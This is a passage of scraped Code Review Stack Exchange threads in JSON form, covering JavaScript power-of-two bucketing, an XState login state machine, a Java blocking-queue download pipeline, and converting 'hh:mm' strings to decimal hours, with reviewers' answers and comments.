"body": "What you're doing here is printing the decimal place-values of the binary representation of the integer. (Or in the array, isolating each set bit below your cutoff. And repeating the max value `n >> bitpos` times.) e.g. `(-x) & (x)` to isolate the lowest set bit. `(x-1) & (x)` to clear the lowest set bit. Repeat until no low bits are set: `x & ((1<<bitpos) - 1)`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T14:37:30.853",
"Id": "488830",
"Score": "4",
"body": "Except for the part where it stops at 32, this is called \"writing the number in binary\""
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T19:14:43.940",
"Id": "488871",
"Score": "0",
"body": "Do you really need to repeat `32` (the top number) `n>>5` times? Can you usefully represent that separately? Or just bake bit-iteration logic into whatever uses these arrays, instead of actually creating a potentially large array of mostly the same value?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T22:13:26.260",
"Id": "488888",
"Score": "0",
"body": "@PeterCordes I hadn't thought about that, that is interesting to think about, I am not sure how that would look. I am using this to calculate the array chunks for an unrolled linked list, with a max size of 32."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T23:12:13.297",
"Id": "488891",
"Score": "0",
"body": "Ok, so you actually need to make a separate allocation of each chunk. There's no need to ever create an actual array of the results at all, so all the answers that optimize its allocation aren't useful for your real problem. \nIf you are just looping to build this linked list incrementally, something like [@superb rain's answer](https://codereview.stackexchange.com/a/249397/50567) is probably your best bet, giving an easy way to have the right size for the next chunk as an integer, using only 2 integer variables."
}
] |
[
{
"body": "<p>With <code>toString(2)</code>, you can get the binary representation of a number. You can take the input modulo 32 to get the last 5 characters of that, which will determine which of the 16, 8, 4, 2, 1 numbers need to be included. Then, from what's left (which can be gotten by flooring the input over 32), just divide by 32 to figure out how many 32s are needed at the beginning:</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>const format = (num) => {\n const arr = new Array(Math.floor(num / 32)).fill(32);\n const finalBits = [...(num % 32).toString(2)];\n const { length } = finalBits;\n const finalItems = finalBits\n .map((char, i, finalBits) => char * (2 ** (length - i - 1)))\n .filter(num => num)\n console.log(arr.concat(finalItems));\n};\n[1, 2, 3, 4, 5, 6, 7, 30, 31, 32, 33, 20, 25, 36, 50, 100, 201].forEach(format);</code></pre>\r\n</div>\r\n</div>\r\n</p>\n<p>That's the version that I'd prefer. Without iterating through the final elements multiple times, another option is:</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>const format = (num) => {\n const arr = new Array(Math.floor(num / 32)).fill(32);\n const { length } = arr;\n Array.prototype.forEach.call((num % 32).toString(2), (char, i, finalBits) => {\n if (char === '1') {\n arr.push(2 ** (finalBits.length - i - 1));\n }\n });\n console.log(arr);\n};\n[1, 2, 3, 4, 5, 6, 7, 30, 31, 32, 33, 20, 25, 36, 50, 100, 201].forEach(format);</code></pre>\r\n</div>\r\n</div>\r\n</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T03:53:09.240",
"Id": "249379",
"ParentId": "249377",
"Score": "6"
}
},
{
"body": "<h1>Generic solution</h1>\n<p>You could refactor and shorten your code with recursion:</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>function binary_buckets(n, power=1){\n if (n === 0) {\n return [];\n }\n const powers = binary_buckets(Math.floor(n / 2), power*2);\n\n if (n % 2 === 1){\n powers.push(power);\n }\n\n return powers;\n}\n\nconsole.log(binary_buckets(125653));\n// [ 65536, 32768, 16384, 8192, 2048, 512, 128, 64, 16, 4, 1]</code></pre>\r\n</div>\r\n</div>\r\n</p>\n<p>This is basically just a standard recursive algorithm in order to convert a number to binary.</p>\n<h1>Specific solution</h1>\n<p>You can then declare another function to stop at 32:</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>function binary_buckets(n, power=1){\n if (n === 0) {\n return [];\n }\n const powers = binary_buckets(Math.floor(n / 2), power*2);\n\n if (n % 2 === 1){\n powers.push(power);\n }\n\n return powers;\n}\n\nfunction small_binary_buckets(n){\n const tmp = new Array(Math.floor(n / 32)).fill(32);\n return tmp.concat(binary_buckets(n % 32));\n}\n\nconsole.log(small_binary_buckets(125));\n// [ 32, 32, 32, 16, 8, 4, 1 ]\nconsole.log(small_binary_buckets(17));\n// [ 16, 1 ]</code></pre>\r\n</div>\r\n</div>\r\n</p>\n<p>It might not be the fastest solution, but it's at least concise and readable.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T12:28:25.760",
"Id": "249389",
"ParentId": "249377",
"Score": "3"
}
},
{
"body": "<p><a href=\"https://codereview.stackexchange.com/a/249379\">CertainPerformance's solution</a> using <code>.toString(2)</code> is clever, but for a <em>fast</em> solution to such an elementary problem, simple bit manipulation and a <code>while</code> loop is the way to go:</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>function split(number, bits = 5) {\n let unit = 1 << bits;\n const result = new Array(number >> bits).fill(unit);\n while (unit >= 1) {\n unit >>= 1;\n if (number & unit) result.push(unit);\n }\n return result;\n}\n\nconst numbers = [1, 2, 3, 4, 5, 6, 7, 30, 31, 32, 33, 20, 25, 36, 50, 100, 201];\nnumbers.forEach(n => console.log(n, '=', split(n).join(' + ')));</code></pre>\r\n</div>\r\n</div>\r\n</p>\n<p>In particular, you can indeed avoid division and <code>Math.floor()</code> by using the <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Right_shift\" rel=\"noreferrer\">bitwise right shift</a> operator <code>>></code> instead: <code>n >> k</code> is a fast and compact way of calculating <code>Math.trunc(n / 2**k)</code> for any integer <code>n</code> and any non-negative integer <code>k</code>. Also, the <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_AND\" rel=\"noreferrer\">bitwise AND</a> operator <code>&</code> makes it easy to check whether an integer has a particular bit set: <code>n & k</code> evaluates to a non-zero value if and only if <code>n</code> and <code>k</code> have any set bits in common.</p>\n<hr />\n<p>Ps. To make this code even faster, at the cost of some extra complexity, we can precalculate the length of the result array so that we don't need to use <code>.push()</code>:</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>function split(number, bits = 5) {\n // precalculate the length of the result array\n const maxUnit = 1 << bits, prefixLength = number >> bits;\n let length = prefixLength, unit = maxUnit;\n while (unit >= 1) {\n unit >>= 1;\n if (number & unit) length++;\n }\n\n // allocate and fill the array\n const result = new Array(length).fill(maxUnit);\n let i = prefixLength; unit = maxUnit;\n while (unit >= 1) {\n unit >>= 1;\n if (number & unit) result[i++] = unit;\n }\n return result;\n}\n\nconst numbers = [1, 2, 3, 4, 5, 6, 7, 30, 31, 32, 33, 20, 25, 36, 50, 100, 201];\nnumbers.forEach(n => console.log(n, '=', split(n).join(' + ')));</code></pre>\r\n</div>\r\n</div>\r\n</p>\n<p>According to a quick <a href=\"https://jsbench.me/dmkf3yk1cm/1\" rel=\"noreferrer\">benchmark</a>, the preallocating version is about 40% faster than the one using <code>.push()</code> (and both are several times faster than the other solutions posted so far).</p>\n<hr />\n<p>Pps. It turns out that, maybe a bit counter-intuitively, <a href=\"https://codereview.stackexchange.com/a/249397\">just building the entire output array one element at a time</a> using <code>.push()</code> may be the simplest and fastest solution, at least for inputs that aren't too huge. The credit for this solution goes to superb rain, so I'll just link to <a href=\"https://codereview.stackexchange.com/a/249397\">their answer</a> for it, but I've added it to my benchmark above. It seems to perform about as well in the benchmark (for all numbers from 0 to 999) as my fastest solution on Firefox, and outperforms all my solutions on Chrome.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T13:37:35.060",
"Id": "488817",
"Score": "2",
"body": "I'm not sure I'm doing it right (I'm not familiar with js), can you check out mine at the bottom [here](https://jsbench.me/askf4075ze/1)? It seems to be faster than yours."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T13:37:40.383",
"Id": "488818",
"Score": "0",
"body": "Does JavaScript not have a popcount intrinsic? Naively looping over every bit-position doesn't seem great. (Although I guess for bits=5 only looking at the low 5 bits, it's ok). If you fill the array backward, you can just isolate the lowest set bit one at a time, and clear it. (There are bithacks for both of those things) So you don't need an `if` in the loop, and only have to loop as many times as there are set bits in the low chunk."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T13:43:26.553",
"Id": "488819",
"Score": "0",
"body": "@PeterCordes: No, it doesn't. It's possible to [do it faster using bit twiddling hacks](https://stackoverflow.com/questions/43122082/efficiently-count-the-number-of-bits-in-an-integer-in-javascript), but for just five bits it probably won't make much difference."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T14:04:13.363",
"Id": "488821",
"Score": "2",
"body": "@superb rain yours goes slowest if you add a single large number to the test (I added a 2 milllion) since yours goes through the while loop so many times"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T14:29:16.580",
"Id": "488827",
"Score": "2",
"body": "@Rick Sure, if the numbers get huge, it might lose. But the OP's largest example is 201 and Ilmari's largest is 999 (I think). Plus if they stop at 32, maybe that's a sign that they won't go much much higher. And it's precisely why I asked the OP *\"How large is your typical/average input number?\"*. Why do you claim it doesn't add numbers less than 32? It does."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T14:50:32.750",
"Id": "488832",
"Score": "2",
"body": "@superb rain good points. I was thinking that your solution is O(n) when it could be O(1) but since generating the array must be O(n) anyway, all of the solutions are going to be O(n). Looks like yours is faster till around 1500."
}
],
"meta_data": {
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T13:10:57.213",
"Id": "249392",
"ParentId": "249377",
"Score": "16"
}
},
{
"body": "<p>Using Ilmari Karonen's <a href=\"https://codereview.stackexchange.com/a/249392/228314\">answer</a> as template, but not using <code>Array</code> and <code>fill</code> and filling a bit differently. On Ilmari's <a href=\"https://jsbench.me/dmkf3yk1cm/1\" rel=\"nofollow noreferrer\">benchmark</a>, it's the fastest for me (I got 7901 ops/s vs 6343 ops/s of their fastest, done with Chrome).</p>\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>function split(number) {\n const result = [];\n for (let unit = 32; unit > 0; unit >>= 1) {\n while (number >= unit) {\n result.push(unit);\n number -= unit;\n }\n }\n return result;\n}\n\nconst numbers = [1, 2, 3, 4, 5, 6, 7, 30, 31, 32, 33, 20, 25, 36, 50, 100, 201];\nnumbers.forEach(n => console.log(n, '=', split(n).join(' + ')));</code></pre>\r\n</div>\r\n</div>\r\n</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T15:21:23.240",
"Id": "488840",
"Score": "1",
"body": "Interesting. I originally benchmarked my code on Firefox, and there your solution loses to my second one (with precalculated array length) even on the 0 to 999 benchmark. But on Chrome it's slightly faster. I guess Chrome has a more optimized implementation of Array.prototype.push."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T17:13:15.100",
"Id": "488859",
"Score": "2",
"body": "@IlmariKaronen I tried a few times in Firefox as well, mine was always slightly faster (about 4500 ops/s vs 4400 ops/s). By how much does mine lose in your Firefox?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T17:25:54.073",
"Id": "488862",
"Score": "3",
"body": "Not by much, just a few percent, and it also varies. I also ran [your benchmark](https://jsbench.me/askf4075ze/1) about a dozen times and the biggest difference I saw was about 6%, while on a couple of runs they were close enough that JSBench declared them both winners, and on one run yours was actually faster by about 2%. Anyway, given that your code is nearly as fast as mine on FF and faster on Chrome, while also being considerably simpler, I'm happy to upvote it."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T14:46:16.373",
"Id": "488998",
"Score": "0",
"body": "Wouldn't `while (number > 0) { result.push( number & (-number) ); number = number & (number-1); }` still be faster (but with reverse order output)?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T14:52:28.897",
"Id": "488999",
"Score": "0",
"body": "@HagenvonEitzen I don't know whether it would be faster, but it wouldn't do the 32 limit. But yes, that's exactly why I [asked](https://codereview.stackexchange.com/questions/249377/algorithm-for-dividing-a-number-into-largest-power-of-two-buckets/249397?noredirect=1#comment488813_249377) whether the order matters."
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T14:25:07.117",
"Id": "249397",
"ParentId": "249377",
"Score": "9"
}
}
] |
{
"AcceptedAnswerId": "249392",
"CommentCount": "8",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T03:17:37.313",
"Id": "249377",
"Score": "9",
"Tags": [
"javascript",
"performance",
"array"
],
"Title": "Algorithm for dividing a number into largest \"power of two\" buckets?"
}
|
249377
|
<p>I have a sample React app that loads a username and password, and then randomly provides a login result on submission for the sake of example.</p>
<p>CodeSandbox: <a href="https://codesandbox.io/s/stack-xstate-login-review-brvuu" rel="nofollow noreferrer">https://codesandbox.io/s/stack-xstate-login-review-brvuu</a></p>
<p>This state machine makes use of <code>always</code> to check and transition between states (e.g., when validating usernames, passwords, and the API data). I'm just not sure if this is the correct way to evaluate data given that the visualizer does not show the transition logic in a clear manner.</p>
<p>Visualizer: <a href="https://xstate.js.org/viz/?gist=b49d6fe8e8ab83a91ad5138ff6e71f29" rel="nofollow noreferrer">https://xstate.js.org/viz/?gist=b49d6fe8e8ab83a91ad5138ff6e71f29</a></p>
<p>Is there a better way to evaluate data than bootlegging the always conditionals (e.g., with actions perhaps?)?</p>
<p>And of course, if you have any other feedback about the construction of this state machine, I very much welcome your input!</p>
<p>Full state machine code:</p>
<pre><code>import { Machine, assign } from "xstate";
const usernameStates = {
initial: "idle",
states: {
idle: {},
valid: {},
invalid: {
states: {
empty: {}
}
},
validating: {
always: [
// empty transition name auto-runs its actions on state entry
{ cond: "isUsernameEmpty", target: "invalid.empty" },
{ target: "valid" }
]
}
}
};
const passwordStates = {
initial: "idle",
states: {
idle: {},
valid: {},
invalid: {
states: {
empty: {}
}
},
validating: {
always: [
// empty transition name auto-runs its actions on state entry
{ cond: "isPasswordEmpty", target: "invalid.empty" },
{ target: "valid" }
]
}
}
};
export const LoginFormStateMachine = Machine(
{
id: "loginFormState",
initial: "input",
context: {
values: {
username: "",
password: "",
resultLogin: {}
}
},
states: {
input: {
type: "parallel",
on: {
CHANGE: [
{
cond: "isUsername",
actions: "cacheValue",
target: "input.username.validating"
},
{
cond: "isPassword",
actions: "cacheValue",
target: "input.password.validating"
}
],
CLEAR: { actions: "resetForm", target: "input" },
SUBMIT: { target: "validatingUser" }
},
states: {
username: { ...usernameStates },
password: { ...passwordStates }
}
},
validatingUser: {
invoke: {
src: (context) =>
fetch(
"https://fakerapi.it/api/v1/custom?random=boolean"
).then((res) => res.json()),
onDone: {
actions: "cacheLoginResult",
target: "checking"
},
onError: { target: "error" }
}
},
checking: {
always: [
{ cond: "isRecordLegit", target: "success" },
{ cond: "isRecordNotLegit", target: "error.mismatchingRecord" }
]
},
error: {
states: {
mismatchingRecord: { type: "final" }
}
},
success: {
type: "final"
}
}
},
{
actions: {
cacheValue: assign({
values: (context, event) => ({
...context.values,
[event.key]: event.value
})
}),
cacheLoginResult: assign({
values: (context, event) => ({
...context.values,
// this particular data structure is based on the result
// of the fetch request on Line 82, go to that URL to
// see how this function randomly provides a login result
resultLogin: event.data.data[0].random
})
}),
resetForm: assign({ values: (context) => ({}) })
},
guards: {
isUsername: (context, event) => event.key === "username",
isPassword: (context, event) => event.key === "password",
isUsernameEmpty: (context) => context.values.username.length === 0,
isPasswordEmpty: (context) => context.values.password.length === 0,
isRecordLegit: (context, event) => context.values.resultLogin,
isRecordNotLegit: (context, event) => !context.values.resultLogin
}
}
);
<span class="math-container">```</span>
</code></pre>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T03:30:05.093",
"Id": "249378",
"Score": "3",
"Tags": [
"javascript",
"react.js"
],
"Title": "Looking for feedback on a simple finite state machine for logging in with xstate"
}
|
249378
|
<p>I have the following scenario .</p>
<p>I have incoming file download requests and each download is happening in different thread until pool size is exceeded. And after a download completed, a processor processes the downloaded item. So I created the following. I wonder if uses of thread and executors make sense</p>
<p>DownloadTaskProcessor</p>
<pre><code>public class DownloadTaskEnqueuer {
private static final BlockingQueue<Task> downloadQueue = new LinkedBlockingQueue<>();
private static final BlockingQueue<Task> processQueue = new LinkedBlockingQueue<>();
private static final ExecutorService executor = Executors.newCachedThreadPool();
public void offer(Task task) {
return downloadQueue.offer(task);
}
public void createPool(int size) {
for (int i = 0; i < size; i++) {
executor.execute(new DownloadTask(downloadQueue, processQueue);
executor.execute(new ProcessTask(processQueue));
}
}
}
</code></pre>
<p>Download task</p>
<pre><code>public class DownloadTask implements Runnable {
private BlockingQueue<Task> downloadQueue;
private BlockingQueue<Task> processQueue;
// constructor for initing two queue
public void offer(Task task) {
return processQueue.offer(task);
}
@Override
public void run() {
while (true) {
Task task = downloadQueue.poll();
if (task != null) {
task.getDownloadTask().download();
offer(task);
} else {
// sleep 250 ms
}
}
}
}
</code></pre>
<p>Process task</p>
<pre><code>public class ProcessTask implements Runnable {
private BlockingQueue<Task> processQueue;
// constructor for initing queue
@Override
public void run() {
while (true) {
Task task = processQueue.poll();
if (task != null) {
task.getProcessTask().process();
} else {
// sleep 250 ms
}
}
}
}
</code></pre>
<p>Use case (pseudo)</p>
<pre><code>createPool(10);
listener.listen((task) -> {
downloadTaskEnqueuer.offer(task);
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T16:09:41.507",
"Id": "488846",
"Score": "1",
"body": "I'm missing the `Task` implementation, otherwise looks quite good to me without testing it. Check whether `poll` can actually return `null`."
}
] |
[
{
"body": "<p>In your <code>DownloadTaskEnqueuer</code> it might be a little bit weird to mix instance methods with <code>static</code> fields (unless there is more code which you omitted). It might be better to either use instance fields (i.e. remove <code>static</code> from <code>downloadQueue</code>, <code>processQueue</code> and <code>executor</code>) or make the methods <code>static</code>.</p>\n<p>You <code>DownloadTaskEnqueuer.offer(...)</code> method has <code>void</code> as return type but contains a <code>return</code> statement returning a value.</p>\n<p><code>Executors.newCachedThreadPool()</code> is not that well suited for your use case. You are creating a fixed number of work tasks which run indefinitely so an executor which creates a new thread per task would work equally well. Normally you also don't submit an indefinitely running work task which itself performs tasks to an executor, but instead directly submit the tasks to the executor.</p>\n<p>This leads to the next question: How are you shutting down workers? It appears with your current code the <code>DownloadTask</code> and <code>ProcessTask</code> run forever. Or is there no need to shut down workers in your use case?</p>\n<p>Using <code>BlockingQueue.poll()</code> and then waiting seems a little bit inefficient. Since you are already dealing with BlockingQueue you could use the blocking method <a href=\"https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/concurrent/BlockingQueue.html#take()\" rel=\"nofollow noreferrer\"><code>BlockingQueue.take()</code></a>.</p>\n<p>If I may make a suggestion, it appears <a href=\"https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/util/concurrent/CompletableFuture.html\" rel=\"nofollow noreferrer\"><code>CompletableFuture</code></a> would be well suited for your use case:</p>\n<pre class=\"lang-java prettyprint-override\"><code>public class DownloadProcessor {\n private final ExecutorService downloadExecutor;\n private final ExecutorService processingExecutor;\n\n public DownloadProcessor(int poolsSize) {\n downloadExecutor = Executors.newFixedThreadPool(poolsSize);\n processingExecutor = Executors.newFixedThreadPool(poolsSize);\n }\n\n public CompletableFuture<Void> downloadAndProcess(DownloadTask task) {\n return CompletableFuture.supplyAsync(() -> task.download(), downloadExecutor)\n // Assumes that DownloadTask.download() returns ProcessingTask which\n // has method `process()`\n .thenAcceptAsync(task -> task.process(), processingExecutor);\n }\n \n public void shutdown() {\n downloadExecutor.shutdown();\n processExecutor.shutdown();\n // Maybe also call awaitTermination\n }\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-27T21:26:41.080",
"Id": "249930",
"ParentId": "249381",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T06:43:59.213",
"Id": "249381",
"Score": "4",
"Tags": [
"java",
"multithreading"
],
"Title": "Java blocking queue download process scenario"
}
|
249381
|
<p>I am making an hours calculator app. It takes a start time, end time and time taken for lunch.</p>
<p>For the start and end time it takes a four-digit <em>hh:mm</em> time. For example: 10:20.</p>
<p>I have made a function which converts the time into a decimal,
so 10:20 = 10.33. The function works, but I feel it looks a little heavy and wondered if anyone has any suggestions of how I could make it better...</p>
<pre><code>const minuteConverter = time => {
let h = Number(time.split(':')[0]);
let m = Math.round((1 / 60 * (Number(time.split(':')[1])) + Number.EPSILON) * 100) / 100;
let mConverted = Number(m.toString().split('.')[1])
return Number(`${h}.${mConverted}`)
};
console.log(minuteConverter('10:20'))
</code></pre>
<p>The time must be output as a number to two decimal places. For example,</p>
<ul>
<li>'10:20' >> 10.33</li>
<li>'9:45' >> 9.75</li>
<li>'15:33' >> 15.55</li>
</ul>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T09:46:07.643",
"Id": "488806",
"Score": "0",
"body": "I believe you mean `10:20` in the last line, not `10.20`?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T10:18:47.807",
"Id": "488808",
"Score": "0",
"body": "Apologies, that's correct!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T01:07:57.497",
"Id": "488902",
"Score": "0",
"body": "As I read your code, '10:75' >> 10.25, while all the answers will produce 11.25. You might want to think about which you want for such a denormalized time value."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T15:11:22.937",
"Id": "489003",
"Score": "1",
"body": "are we just ignoring leap seconds like they arent a thing?"
}
] |
[
{
"body": "<h2>Simpler technique</h2>\n<p>Per answers to <a href=\"https://stackoverflow.com/q/22820335/1575353\">this identical question from six years ago on stack overflow</a> the formula for converting the minutes doesn’t need to be so complex. Many of the answers there use <code>parseInt()</code> to parse numbers from the strings but <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Unary_plus\" rel=\"nofollow noreferrer\">the unary plus operator</a> <code>+</code> can be used instead\nfor faster operation and simpler syntax (refer to answers to <a href=\"https://stackoverflow.com/q/17106681/1575353\"><em>parseInt vs unary plus, when to use which?</em></a> for more context).</p>\n<p>The minutes can be divided by sixty and added to the number of hours to create a <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number\" rel=\"nofollow noreferrer\"><code>Number</code></a>. The method <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number/toFixed\" rel=\"nofollow noreferrer\"><code>Number.toFixed()</code></a> can be used to limit floating point numbers to a specified number of digits.</p>\n<h2>ES-6 Variable declarations</h2>\n<p>Because ES6 keywords like <code>let</code> are used <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment#Examples\" rel=\"nofollow noreferrer\">array destructuring</a> can be used to assign the values for <code>h</code> and <code>m</code> in one expression which avoids extra calls to the <code>split()</code> method. This allows for <code>const</code> to be used, which is a good habit to help avoid accidental re-assignment.</p>\n<h2>Extra terminator after arrow function block</h2>\n<p>A multi-line <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions\" rel=\"nofollow noreferrer\">arrow function expression</a> does not require a semi-colon after the body but it doesn't hurt to have one at the end- especially if you are not familiar with the rules of <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Automatic_semicolon_insertion\" rel=\"nofollow noreferrer\"><strong>Automatic semicolon insertion</strong></a>.</p>\n<h2>Simplified code</h2>\n<p>Here is one way it could be simplified.\n<div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-js lang-js prettyprint-override\"><code>const minuteConverter = time => {\n const [h, m] = time.split(':');\n return (+h + (+m/60)).toFixed(2);\n};\n['9:45', '10:03', '10:20', '15:33'].forEach(\n time => console.log(time, ' >> ', minuteConverter(time))\n)</code></pre>\r\n</div>\r\n</div>\r\n</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T08:10:34.840",
"Id": "488939",
"Score": "0",
"body": "Much appreciated Sam, I did see that example from 6 years ago but I figured there had got to be some new method utilising ES6 features. Much appreciated, really concise."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T11:28:24.590",
"Id": "249386",
"ParentId": "249383",
"Score": "6"
}
},
{
"body": "<ul>\n<li><p>Use <code>const</code> instead of <code>let</code> to declare variables if the value doesn't change.</p>\n</li>\n<li><p>You are executing <code>time.split(':')</code> twice.</p>\n</li>\n<li><p>A short method to convert a string to a number is the unary <code>+</code>.</p>\n</li>\n<li><p>JavaScript has the <code>toFixed()</code> method to format a number to a fixed number of digits:</p>\n</li>\n</ul>\n<hr />\n<pre><code>function minuteConverter(time) {\n const [h, m] = time.split(':');\n const value = +h + +m / 60;\n return value.toFixed(2);\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T05:38:03.640",
"Id": "488909",
"Score": "2",
"body": "`+h + +m / 60` - that second plus is redundant, because the divide operator converts strings too."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T08:08:27.170",
"Id": "488938",
"Score": "0",
"body": "@RoToRa Thankyou very much, that exactly what I'm talking about. I didn't know variables could be assigned like this either [h, m]. Big help, thankyou!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T09:11:53.437",
"Id": "488954",
"Score": "3",
"body": "I would probably convert in the first line with map, to make the intention more explicit, since all the + signs in the second row can be a little bit confusing: `const [h,m] = time.split(':').map(s => +s)` and then just `const value = h + m/60`"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T12:52:48.593",
"Id": "488985",
"Score": "0",
"body": "Is there any reason you prefer `+h++m` over the arguably more telling `Number(h)+Number(m)` ? They seem to provide the exact same behaviour. But if someone reads your code and has to guess what you want to do is cast to a number then `Number(h)` seems to express that very clearly."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T15:27:40.147",
"Id": "489006",
"Score": "1",
"body": "@Falco using the Number wrapper would likely be slower than using unary plus. For a trivial example like this it wouldn't make much difference but in a larger application where the function is called a large number of times then it could have considerable differences. I know jsPerf isn't currently working otherwise I would include a link to an example but [This post](https://coderwall.com/p/5tlhmw/converting-strings-to-number-in-javascript-pitfalls) explains more."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-17T09:42:51.487",
"Id": "489098",
"Score": "0",
"body": "@SᴀᴍOnᴇᴌᴀ It seems the performance is about the same: https://jsbench.me/6mkf6mi405/1 shows +/- 5% for both on chrome and firefox. So I would go with the one which conveys my intent more clearly."
}
],
"meta_data": {
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-15T11:33:33.003",
"Id": "249387",
"ParentId": "249383",
"Score": "15"
}
},
{
"body": "<p>Use <code>+</code> instead of <code>Number()</code> on ES6.</p>\n<p>Use const instead of <code>let</code> or <code>var</code> if the value for this variable not going to change.</p>\n<p>Use a deconstructing assignment to create variables from the array <code>let [h,m] = time.split(/[.:]/)</code>.</p>\n<p>This will accept <code>10:30</code> or <code>10.30</code>, also in case the time is <code>.30</code> will add <code>0</code> for hours variable.</p>\n<pre class=\"lang-javascript prettyprint-override\"><code>const timeStringToFloatMm = time => {\n let [h,m] = time.split(/[.:]/);\n h = h || 0;\n return (+h + +m / 60).toFixed(2);\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-16T12:50:50.637",
"Id": "488984",
"Score": "1",
"body": "Is there any reason to use \"+\" instead of number? The stack-overflow question comparing various Methods of string to number conversion indicated Numer() and unary plus have the same behaviour and performance for all cases. And I feel especially with `Number(h) + Number(m)/60` the intention becomes a lot clearer to the reader, whereas '+h++m' doesn't tell the story as clearly that the intention is in fact to case \"h\" and \"m\" to Numbers."
},
{
